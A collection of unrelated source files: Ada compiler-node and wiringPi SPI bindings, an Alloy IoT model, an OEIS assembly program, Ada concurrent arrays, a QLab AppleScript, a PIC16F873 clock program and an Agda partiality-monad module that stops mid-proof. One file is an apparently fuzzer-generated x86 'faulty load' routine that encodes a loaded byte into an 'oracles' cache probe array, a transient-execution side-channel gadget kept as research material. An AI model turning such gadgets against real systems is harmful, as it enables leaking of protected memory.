(Self : in out Base_Formal_Unconstrained_Array_Type'Class);
overriding procedure Visit
(Self : not null access Base_Formal_Unconstrained_Array_Type;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class);
overriding function Index_Subtypes
(Self : Base_Formal_Unconstrained_Array_Type)
return not null Program.Elements.Expressions.Expression_Vector_Access;
overriding function Component_Definition
(Self : Base_Formal_Unconstrained_Array_Type)
return not null Program.Elements.Component_Definitions
.Component_Definition_Access;
overriding function Is_Formal_Unconstrained_Array_Type
(Self : Base_Formal_Unconstrained_Array_Type)
return Boolean;
overriding function Is_Formal_Type_Definition
(Self : Base_Formal_Unconstrained_Array_Type)
return Boolean;
overriding function Is_Definition
(Self : Base_Formal_Unconstrained_Array_Type)
return Boolean;
type Formal_Unconstrained_Array_Type is
new Base_Formal_Unconstrained_Array_Type
and Program.Elements.Formal_Unconstrained_Array_Types
.Formal_Unconstrained_Array_Type_Text
with record
Array_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Left_Bracket_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Right_Bracket_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
Of_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
end record;
overriding function To_Formal_Unconstrained_Array_Type_Text
(Self : in out Formal_Unconstrained_Array_Type)
return Program.Elements.Formal_Unconstrained_Array_Types
.Formal_Unconstrained_Array_Type_Text_Access;
overriding function Array_Token
(Self : Formal_Unconstrained_Array_Type)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Left_Bracket_Token
(Self : Formal_Unconstrained_Array_Type)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Right_Bracket_Token
(Self : Formal_Unconstrained_Array_Type)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Of_Token
(Self : Formal_Unconstrained_Array_Type)
return not null Program.Lexical_Elements.Lexical_Element_Access;
type Implicit_Formal_Unconstrained_Array_Type is
new Base_Formal_Unconstrained_Array_Type
with record
Is_Part_Of_Implicit : Boolean;
Is_Part_Of_Inherited : Boolean;
Is_Part_Of_Instance : Boolean;
end record;
overriding function To_Formal_Unconstrained_Array_Type_Text
(Self : in out Implicit_Formal_Unconstrained_Array_Type)
return Program.Elements.Formal_Unconstrained_Array_Types
.Formal_Unconstrained_Array_Type_Text_Access;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Formal_Unconstrained_Array_Type)
return Boolean;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Formal_Unconstrained_Array_Type)
return Boolean;
overriding function Is_Part_Of_Instance
(Self : Implicit_Formal_Unconstrained_Array_Type)
return Boolean;
end Program.Nodes.Formal_Unconstrained_Array_Types;
|
src/gen/pixtend-wiringpispi_h.ads | persan/a-piextend | 0 | 12480 | <reponame>persan/a-piextend<gh_stars>0
pragma Ada_2012;
pragma Style_Checks (Off);
with Interfaces.C; use Interfaces.C;
package Pixtend.wiringPiSPI_h is
function wiringPiSPIGetFd (channel : int) return int -- wiringPiSPI.h:29
with Import => True,
Convention => C,
External_Name => "wiringPiSPIGetFd";
function wiringPiSPIDataRW
(channel : int;
data : access unsigned_char;
len : int) return int -- wiringPiSPI.h:30
with Import => True,
Convention => C,
External_Name => "wiringPiSPIDataRW";
function wiringPiSPISetupMode
(channel : int;
speed : int;
mode : int) return int -- wiringPiSPI.h:31
with Import => True,
Convention => C,
External_Name => "wiringPiSPISetupMode";
function wiringPiSPISetup (channel : int; speed : int) return int -- wiringPiSPI.h:32
with Import => True,
Convention => C,
External_Name => "wiringPiSPISetup";
end Pixtend.wiringPiSPI_h;
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1856.asm | ljhsiun2/medusa | 9 | 164605 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1856.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x1744b, %rsi
lea addresses_WC_ht+0x1871b, %rdi
nop
nop
nop
and %r14, %r14
mov $33, %rcx
rep movsl
nop
lfence
lea addresses_WC_ht+0x1a4b, %r13
nop
nop
nop
nop
nop
dec %rdx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
vmovups %ymm4, (%r13)
nop
nop
nop
nop
xor %rax, %rax
lea addresses_WT_ht+0x18f8b, %rsi
lea addresses_WC_ht+0xd74b, %rdi
nop
add $43159, %r8
mov $37, %rcx
rep movsb
nop
nop
nop
nop
inc %r8
lea addresses_D_ht+0x11e1d, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp %r14, %r14
mov $0x6162636465666768, %rdx
movq %rdx, %xmm6
vmovups %ymm6, (%rdi)
xor $30947, %r14
lea addresses_WT_ht+0x1258b, %rdx
nop
nop
nop
nop
inc %rdi
mov $0x6162636465666768, %rax
movq %rax, (%rdx)
nop
nop
nop
nop
nop
dec %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WC+0x1b84b, %rsi
nop
nop
nop
nop
nop
sub %r9, %r9
mov $0x5152535455565758, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%rsi)
nop
cmp %rbx, %rbx
// REPMOV
lea addresses_UC+0x1ab4b, %rsi
mov $0x44b, %rdi
clflush (%rdi)
add $17542, %r9
mov $11, %rcx
rep movsw
nop
nop
nop
nop
nop
and %r15, %r15
// Faulty Load
lea addresses_WT+0x7c4b, %rbx
nop
nop
nop
nop
nop
add %r9, %r9
mov (%rbx), %cx
lea oracles, %r11
and $0xff, %rcx
shlq $12, %rcx
mov (%r11,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_P'}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
FormalAnalyzer/models/apps/ID1BrightenMyPath+.als | Mohannadcse/IoTCOM_BehavioralRuleExtractor | 0 | 958 | <filename>FormalAnalyzer/models/apps/ID1BrightenMyPath+.als<gh_stars>0
module app_ID1BrightenMyPath
open IoTBottomUp as base
open cap_motionSensor
open cap_switch
one sig app_ID1BrightenMyPath extends IoTApp {
motion1 : some cap_motionSensor,
switch1 : some cap_switch,
} {
rules = r
}
// application rules base class
abstract sig r extends Rule {}
one sig r0 extends r {}{
triggers = r0_trig
no conditions //= r0_cond
commands = r0_comm
}
abstract sig r0_trig extends Trigger {}
one sig r0_trig0 extends r0_trig {} {
capabilities = app_ID1BrightenMyPath.motion1
attribute = cap_motionSensor_attr_motion
value = cap_motionSensor_attr_motion_val_active
}
//abstract sig r0_cond extends Condition {}
abstract sig r0_comm extends Command {}
one sig r0_comm0 extends r0_comm {} {
capability = app_ID1BrightenMyPath.switch1
attribute = cap_switch_attr_switch
value = cap_switch_attr_switch_val_on
}
one sig r0_comm1 extends r0_comm {} {
capability = app_ID1BrightenMyPath.switch1
attribute = cap_switch_attr_switch
value = cap_switch_attr_switch_val_off
}
|
oeis/322/A322327.asm | neoneye/loda-programs | 11 | 173882 | ; A322327: a(n) = A005361(n) * A034444(n) for n > 0.
; Submitted by <NAME>
; 1,2,2,4,2,4,2,6,4,4,2,8,2,4,4,8,2,8,2,8,4,4,2,12,4,4,6,8,2,8,2,10,4,4,4,16,2,4,4,12,2,8,2,8,8,4,2,16,4,8,4,8,2,12,4,12,4,4,2,16,2,4,8,12,4,8,2,8,4,8,2,24,2,4,8,8,4,8,2,16
add $0,1
mov $1,1
mov $2,2
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mod $4,$2
add $2,1
cmp $4,0
cmp $4,0
sub $3,$4
lpe
mov $5,0
lpb $0
dif $0,$2
add $5,2
lpe
mul $1,$5
lpe
mov $0,$1
|
src/core/concurrent/util-concurrent-arrays.adb | RREE/ada-util | 60 | 20506 | -----------------------------------------------------------------------
-- util-concurrent-arrays -- Concurrent Arrays
-- Copyright (C) 2012, 2018 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Unchecked_Deallocation;
package body Util.Concurrent.Arrays is
procedure Free is
new Ada.Unchecked_Deallocation (Object => Vector_Record,
Name => Vector_Record_Access);
-- ------------------------------
-- Returns True if the container is empty.
-- ------------------------------
function Is_Empty (Container : in Ref) return Boolean is
begin
return Container.Target = null;
end Is_Empty;
-- ------------------------------
-- Iterate over the vector elements and execute the <b>Process</b> procedure
-- with the element as parameter.
-- ------------------------------
procedure Iterate (Container : in Ref;
Process : not null access procedure (Item : in Element_Type)) is
Target : constant Vector_Record_Access := Container.Target;
begin
if Target /= null then
for I in Target.List'Range loop
Process (Target.List (I));
end loop;
end if;
end Iterate;
-- ------------------------------
-- Iterate over the vector elements in reverse order and execute the <b>Process</b> procedure
-- with the element as parameter.
-- ------------------------------
procedure Reverse_Iterate (Container : in Ref;
Process : not null access procedure (Item : in Element_Type)) is
Target : constant Vector_Record_Access := Container.Target;
begin
if Target /= null then
for I in reverse Target.List'Range loop
Process (Target.List (I));
end loop;
end if;
end Reverse_Iterate;
-- ------------------------------
-- Release the reference. Invoke <b>Finalize</b> and free the storage if it was
-- the last reference.
-- ------------------------------
overriding
procedure Finalize (Obj : in out Ref) is
Release : Boolean;
begin
if Obj.Target /= null then
Util.Concurrent.Counters.Decrement (Obj.Target.Ref_Counter, Release);
if Release then
Free (Obj.Target);
else
Obj.Target := null;
end if;
end if;
end Finalize;
-- ------------------------------
-- Update the reference counter after an assignment.
-- ------------------------------
overriding
procedure Adjust (Obj : in out Ref) is
begin
if Obj.Target /= null then
Util.Concurrent.Counters.Increment (Obj.Target.Ref_Counter);
end if;
end Adjust;
-- ------------------------------
-- Get a read-only reference to the vector elements. The referenced vector will never
-- be modified.
-- ------------------------------
function Get (Container : in Vector'Class) return Ref is
begin
return Container.List.Get;
end Get;
-- ------------------------------
-- Append the element to the vector. The modification will not be visible to readers
-- until they call the <b>Get</b> function.
-- ------------------------------
procedure Append (Container : in out Vector;
Item : in Element_Type) is
begin
Container.List.Append (Item);
end Append;
-- ------------------------------
-- Remove the element represented by <b>Item</b> from the vector. The modification will
-- not be visible to readers until they call the <b>Get</b> function.
-- ------------------------------
procedure Remove (Container : in out Vector;
Item : in Element_Type) is
begin
Container.List.Remove (Item);
end Remove;
-- Release the vector elements.
overriding
procedure Finalize (Object : in out Vector) is
begin
null;
end Finalize;
-- Vector of objects
protected body Protected_Vector is
-- ------------------------------
-- Get a readonly reference to the vector.
-- ------------------------------
function Get return Ref is
begin
return Elements;
end Get;
-- ------------------------------
-- Append the element to the vector.
-- ------------------------------
procedure Append (Item : in Element_Type) is
New_Items : Vector_Record_Access;
Len : Natural;
begin
if Elements.Target = null then
New_Items := new Vector_Record (Len => 1);
Len := 1;
else
Len := Elements.Target.Len + 1;
New_Items := new Vector_Record (Len => Len);
New_Items.List (1 .. Len - 1) := Elements.Target.List;
Finalize (Elements);
end if;
New_Items.List (Len) := Item;
Util.Concurrent.Counters.Increment (New_Items.Ref_Counter);
Elements.Target := New_Items;
end Append;
-- ------------------------------
-- Remove the element from the vector.
-- ------------------------------
procedure Remove (Item : in Element_Type) is
New_Items : Vector_Record_Access;
Items : constant Vector_Record_Access := Elements.Target;
begin
if Items = null then
return;
end if;
for I in Items.List'Range loop
if Items.List (I) = Item then
if Items.Len = 1 then
Finalize (Elements);
Elements.Target := null;
else
New_Items := new Vector_Record (Len => Items.Len - 1);
if I > 1 then
New_Items.List (1 .. I - 1) := Items.List (1 .. I - 1);
end if;
if I <= New_Items.List'Last then
New_Items.List (I .. New_Items.List'Last)
:= Items.List (I + 1 .. Items.List'Last);
end if;
Finalize (Elements);
Util.Concurrent.Counters.Increment (New_Items.Ref_Counter);
Elements.Target := New_Items;
end if;
return;
end if;
end loop;
end Remove;
end Protected_Vector;
end Util.Concurrent.Arrays;
|
Tech Rehearsals/Select cues that loop infinitely.applescript | bsmith96/Qlab-Scripts | 1 | 1668 | -- @description Select cues that loop infinitely
-- @author <NAME>
-- @link bensmithsound.uk
-- @version 1.0
-- @testedmacos 10.13.6
-- @testedqlab 4.6.9
-- @about Of the selection, leaves only cues selected which have infinite loop set to true
-- separateprocess TRUE
-- @changelog
-- v1.0 + init
tell application id "com.figure53.Qlab.4" to tell front workspace
set theSelection to (selected as list)
set theList to {}
repeat with eachCue in theSelection
if q type of eachCue is "Audio" and infinite loop of eachCue is true then
set end of theList to eachCue
end if
set selected to theList
end repeat
display notification ((length of theList as string) & " of " & (length of theSelection as string) & " cues were found and selected") with title "Infinite loop"
end tell |
src/lv-group.ads | Fabien-Chouteau/ada-lvlg | 3 | 3484 | <reponame>Fabien-Chouteau/ada-lvlg
with Lv.Objx;
private with System;
package Lv.Group is
type Instance is private;
function Create return Instance;
procedure Del (Group : Instance);
procedure Add_Obj (Group : Instance; Obj : Lv.Objx.Obj_T);
procedure Remove_Obj (Obj : Lv.Objx.Obj_T);
procedure Focus_Obj (Obj : Lv.Objx.Obj_T);
procedure Focus_Next (Group : Instance);
procedure Focus_Prev (Group : Instance);
procedure Focus_Freeze (Group : Instance; En : U_Bool);
function Send_Data (Group : Instance; C : Uint32_T) return Lv.Objx.Res_T;
private
type Instance is new System.Address;
-------------
-- Imports --
-------------
pragma Import (C, Create, "lv_group_create");
pragma Import (C, Del, "lv_group_del");
pragma Import (C, Add_Obj, "lv_group_add_obj");
pragma Import (C, Remove_Obj, "lv_group_remove_obj");
pragma Import (C, Focus_Obj, "lv_group_focus_obj");
pragma Import (C, Focus_Next, "lv_group_focus_next");
pragma Import (C, Focus_Prev, "lv_group_focus_prev");
pragma Import (C, Focus_Freeze, "lv_group_focus_freeze");
pragma Import (C, Send_Data, "lv_group_send_data");
end Lv.Group;
|
clock-1.0.asm | politechnik/pic-clock | 0 | 27247 | <filename>clock-1.0.asm
; Digital clock listing, 1.0 Version
; MCU Ports connecting:
; MCLR 1st pin connect with Vdd througth 1,5 kOhm resister
; PORTA,0 2nd pin hour decads common
; PORTA,1 3rd pin hour units common
; PORTA,2 4th pin minute decads common
; PORTA,3 5th pin minute units common
; PORTA,4 6th pin low second point
; PORTA,5 7th pin high second point
; PORTC,0 11th pin non connected
; PORTC,1 12th pin non connected
; PORTC,2 13th pin non connected
; PORTC,3 14th pin minute setting button, active low
; PORTC,4 15th pin non connected
; PORTC,5 16th pin non connected
; PORTC,6 17th pin non connected
; PORTC,7 18th pin non connected
; PORTB,0 21th pin hour setting button, active low
; PORTB,1 22rd pin c segments
; PORTB,2 23th pin d segments
; PORTB,3 24th pin a segments
; PORTB,4 25th pin b segments
; PORTB,5 26th pin f segments
; PORTB,6 27th pin e segments
; PORTB,7 28th pin g segments
list p=pic16f873
Include <p16f873.inc>
__config _CP_ALL &_DEBUG_OFF &_CPD_OFF &_LVP_OFF &_BODEN_ON &_PWRTE_ON &_WDT_OFF &_HS_OSC
HOUR10 EQU 21h
HOUR EQU 22h
MIN10 EQU 23h
MIN EQU 24h
SEC10 EQU 25h
SEC EQU 26h
FLAGS EQU 27h
M_COUNT EQU 28h
S_COUNT EQU 29h
COUNTER EQU 2Ah
POINTER EQU 2Bh
CONSTANT DEBOUNCE=0x05 ;debounce value definition: delay=DEB*2,5msec
#define SHIFT STATUS,RP0 ;bank select bit
#define NULL STATUS,Z ;arithmetic operation zero bit
#define CARE STATUS,C ;rotate operation bit
#define OVER FLAGS,0 ;overflow of counter incrementation
#define DIVx2 FLAGS,1 ;division by :2 flag bit
#define DIVx4 FLAGS,2 ;division by :4 flag bit
#define PT_L PORTA,4 ;low second point
#define PT_H PORTA,5 ;high second point
#define M_B PORTB,0 ;mode button press bit
#define S_B PORTC,3 ;setting button press bit
org 0x000
RESET BSF SHIFT ;BANK 1
MOVLW B'11000000'
MOVWF OPTION_REG
MOVLW B'00000000'
MOVWF TRISA
MOVLW B'00000001'
MOVWF TRISB
MOVLW B'00001000'
MOVWF TRISC
CLRF PIE1
CLRF PIE1
MOVLW 0x07
MOVWF ADCON1
BCF SHIFT ;BANK 0
CLRF STATUS
CLRF PORTA
CLRF PORTB
CLRF PORTC
CLRF INTCON
CLRF PIR1
CLRF PIR1
MOVLW B'00001001'
MOVWF T1CON
CLRF CCP1CON
CLRF CCP2CON
CLRF ADCON0
CLRF TMR1H
CLRF TMR1L
CLRF HOUR10
CLRF HOUR
CLRF MIN10
CLRF MIN
CLRF SEC10
CLRF SEC
CLRF FLAGS
CLRF M_COUNT
CLRF S_COUNT
CLRF COUNTER
CLRF POINTER
;
;======================== MAIN PROGRAM LOOP ========================
;
HS_LOOP MOVLW 0x65 ;COUNTER=200, comply to 1/4 second period
MOVWF COUNTER
;
DISP MOVLW 0xF6 ;RTCC=2,5msec (CF2C) for 20MHz
ADDWF TMR1H,1
MOVLW 0x3C
ADDWF TMR1L,1
MOVLW B'00110000' ;mask of digit commons (clear least half-byte)
ANDWF PORTA,1
CALL POINT ;set common
CALL DECODE
MOVWF PORTB ;set symbol
;
INCF POINTER,1 ;next point
MOVF POINTER,0
SUBLW 0x04
BTFSC NULL ;point=4 ?
CLRF POINTER ;yes, clear
;
CH_TM BTFSC PIR1,TMR1IF ;timer1=2,5msec ?
GOTO CHECK ;yes, clear flag
;
BTFSS S_B ;setting button press check
CALL S_PR
CLRF S_COUNT
;
BTFSS M_B ;mode button press heck
CALL M_PR
CLRF M_COUNT
;
GOTO CH_TM ;no, loop
;
CHECK BCF PIR1,TMR1IF
DECFSZ COUNTER,1 ;1/4 second period complete ?
GOTO DISP ;no, loop
CALL BLINK ;yes, blinking dots & commons, division freq by :4
CALL INCR ;incrementation
GOTO HS_LOOP
;
;====================== END MAIN PROGRAM LOOP ======================
;
AD_CH BTFSC PIR1,TMR1IF ;adding 2,5msec loop
GOTO CHECK ;yes, clear flag
GOTO AD_CH ;no, loop
;
POINT MOVF HOUR10,1 ;check to useless null
BTFSS NULL ;active on HH:MM set
GOTO $+5
BSF SHIFT ;BANK 1
BSF TRISA,0
BCF SHIFT ;BANK 0
GOTO $+4
BSF SHIFT ;BANK 1
BCF TRISA,0
BCF SHIFT ;BANK 0
;
MOVF POINTER,0
ADDWF PCL,1
;
goto $+0x4
goto $+0x6
goto $+0x8
goto $+0xA
;
BSF PORTA,0
MOVF HOUR10,0
RETURN
;
BSF PORTA,1
MOVF HOUR,0
RETURN
;
BSF PORTA,2
MOVF MIN10,0
RETURN
;
BSF PORTA,3
MOVF MIN,0
RETURN
;
BLINK BTFSC DIVx2 ;division freq by :2
GOTO $+3
BSF DIVx2
GOTO HS_LOOP
BCF DIVx2
;
BTFSC DIVx4 ;division freq by :4
GOTO $+5
BSF DIVx4
BCF PT_L
BCF PT_H
RETURN
BCF DIVx4
BSF PT_L ;blink dots
BSF PT_H
GOTO HS_LOOP
;
INCR MOVLW 0x09 ;increment second units counter
SUBWF SEC,0
BTFSC NULL
GOTO $+3
INCF SEC,1
RETURN
CLRF SEC
;
MOVLW 0x05 ;increment second decads counter
SUBWF SEC10,0
BTFSC NULL
GOTO $+3
INCF SEC10,1
RETURN
CLRF SEC10
;
M MOVLW 0x09 ;increment minute units counter
SUBWF MIN,0
BTFSC NULL
GOTO $+3
INCF MIN,1
RETURN
CLRF MIN
;
M10 MOVLW 0x05 ;increment minute decads counter
SUBWF MIN10,0
BTFSC NULL
GOTO $+3
INCF MIN10,1
RETURN
CLRF MIN10
BTFSC OVER
RETURN
;
H MOVLW 0x02 ;if HOUR10=2, max HOUR=3
SUBWF HOUR10,0
BTFSS NULL
GOTO $+3
MOVLW 0x03
GOTO $+2
;
MOVLW 0x09 ;increment hour units counter
SUBWF HOUR,0
BTFSC NULL
GOTO $+3
INCF HOUR,1
RETURN
CLRF HOUR
;
H10 MOVLW 0x02 ;increment hour decads counter
SUBWF HOUR10,0
BTFSC NULL
GOTO $+3
INCF HOUR10,1
RETURN
CLRF HOUR10
RETURN
;
DECODE ADDWF PCL,1 ;digit symbols table
RETLW B'10000000' ;0
RETLW B'11101100' ;1
RETLW B'00100010' ;2
RETLW B'01100000' ;3
RETLW B'01001100' ;4
RETLW B'01010000' ;5
RETLW B'00010000' ;6
RETLW B'11100100' ;7
RETLW B'00000000' ;8
RETLW B'01000000' ;9
;
S_PR MOVLW DEBOUNCE ;constant equ maximum S_COUNT rating
SUBWF S_COUNT,0
BTFSC NULL ;skip, if S_COUNT not equ maximum
GOTO AD_CH ;if S_COUNT equ maximum rating, debounce have already had called, do nothing
;
INCF S_COUNT,1
MOVLW DEBOUNCE ;check for maximum S_COUNT rating
SUBWF S_COUNT,0
BTFSS NULL ;skip, if S_COUNT equ maximum
GOTO AD_CH
;
BSF OVER
CALL M
BCF OVER
GOTO AD_CH
;
M_PR MOVLW DEBOUNCE ;constant equ maximum M_COUNT rating
SUBWF M_COUNT,0
BTFSC NULL ;skip, if M_COUNT not equ maximum
GOTO AD_CH ;if M_COUNT equ maximum rating, debounce have already had called, do nothing
;
INCF M_COUNT,1
MOVLW DEBOUNCE ;check for maximum M_COUNT rating
SUBWF M_COUNT,0
BTFSS NULL ;skip, if M_COUNT equ maximum
GOTO AD_CH
;
BSF OVER
CALL H
BCF OVER
GOTO AD_CH
;
END
|
src/Partiality-monad/Inductive/Strict-omega-continuous.agda | nad/partiality-monad | 2 | 731 | ------------------------------------------------------------------------
-- Strict ω-continuous functions
------------------------------------------------------------------------
{-# OPTIONS --cubical --safe #-}
module Partiality-monad.Inductive.Strict-omega-continuous where
open import Equality.Propositional.Cubical
open import Prelude hiding (⊥)
open import Bijection equality-with-J using (_↔_)
open import Function-universe equality-with-J hiding (_∘_)
open import Monad equality-with-J
import Partiality-algebra.Strict-omega-continuous as S
open import Partiality-monad.Inductive
open import Partiality-monad.Inductive.Eliminators
open import Partiality-monad.Inductive.Monad
open import Partiality-monad.Inductive.Monotone
open import Partiality-monad.Inductive.Omega-continuous
-- Definition of strict ω-continuous functions.
[_⊥→_⊥]-strict : ∀ {a b} → Type a → Type b → Type (a ⊔ b)
[ A ⊥→ B ⊥]-strict = S.[ partiality-algebra A ⟶ partiality-algebra B ]⊥
module [_⊥→_⊥]-strict
{a b} {A : Type a} {B : Type b}
(f : [ A ⊥→ B ⊥]-strict) =
S.[_⟶_]⊥ f
open [_⊥→_⊥]-strict
-- Identity.
id-strict : ∀ {a} {A : Type a} → [ A ⊥→ A ⊥]-strict
id-strict = S.id⊥
-- Composition.
infixr 40 _∘-strict_
_∘-strict_ :
∀ {a b c} {A : Type a} {B : Type b} {C : Type c} →
[ B ⊥→ C ⊥]-strict → [ A ⊥→ B ⊥]-strict → [ A ⊥→ C ⊥]-strict
_∘-strict_ = S._∘⊥_
-- Equality characterisation lemma for strict ω-continuous functions.
equality-characterisation-strict :
∀ {a b} {A : Type a} {B : Type b} {f g : [ A ⊥→ B ⊥]-strict} →
(∀ x → function f x ≡ function g x) ↔ f ≡ g
equality-characterisation-strict =
S.equality-characterisation-strict
-- Composition is associative.
∘-strict-assoc :
∀ {a b c d} {A : Type a} {B : Type b} {C : Type c} {D : Type d}
(f : [ C ⊥→ D ⊥]-strict) (g : [ B ⊥→ C ⊥]-strict)
(h : [ A ⊥→ B ⊥]-strict) →
f ∘-strict (g ∘-strict h) ≡ (f ∘-strict g) ∘-strict h
∘-strict-assoc = S.∘⊥-assoc
-- Strict ω-continuous functions satisfy an extra monad law.
>>=-∘-return :
∀ {a b} {A : Type a} {B : Type b} →
(f : [ A ⊥→ B ⊥]-strict) →
∀ x → x >>=′ (function f ∘ return) ≡ function f x
>>=-∘-return fs = ⊥-rec-⊥
(record
{ P = λ x → x >>=′ (f ∘ return) ≡ f x
; pe = never >>=′ f ∘ return ≡⟨ never->>= ⟩
never ≡⟨ sym (strict fs) ⟩∎
f never ∎
; po = λ x →
now x >>=′ f ∘ return ≡⟨ now->>= ⟩∎
